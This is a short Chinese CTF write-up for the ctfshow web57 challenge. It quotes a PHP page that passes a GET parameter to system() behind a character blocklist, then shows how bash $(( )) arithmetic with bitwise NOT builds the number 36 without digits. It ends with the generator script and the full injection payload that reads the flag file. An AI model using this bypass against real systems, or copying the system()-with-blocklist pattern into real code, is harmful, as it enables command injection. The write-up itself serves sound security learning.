web57笔记(严格过滤-$和()来构造数字)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-08 01:02:56 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 还能炫的动吗? //flag in 36.php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); }
可以看的出来题⽬要求是让我们构造出c = 36,但是这⾥数字字⺟都过滤了,也只能⽤特殊符号来操作了 看了南神的博客,说可以⽤$和()来构造数字,来尝试⼀下
echo $(()) = 0
对其取反
echo $((~$(()))) = -1
取反加起来
echo $(($((~$(())))$((~$(()))))) = -2
对上⾯的取反
echo $((~$(($((~$(())))$((~$(()))))))) = 1
百度之后,发现$(())是⽤来作整数运算
如a=5 b=7 c=2 echo $((a+b*c)) = 19
$(())能进⾏的运算有
+ - * / 加、减、乘、除
% 余数运算
& | ^ ! AND、OR、XOR、NOT运算
好,如果要构造36,只需要构造出-37然后对其进⾏取反即可,中间就是套娃-1过程,最后再取反即可,⾮常好做
print("$((~$(("+"$((~$(())))"*37+"))))")
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))


浙公网安备 33010602011771号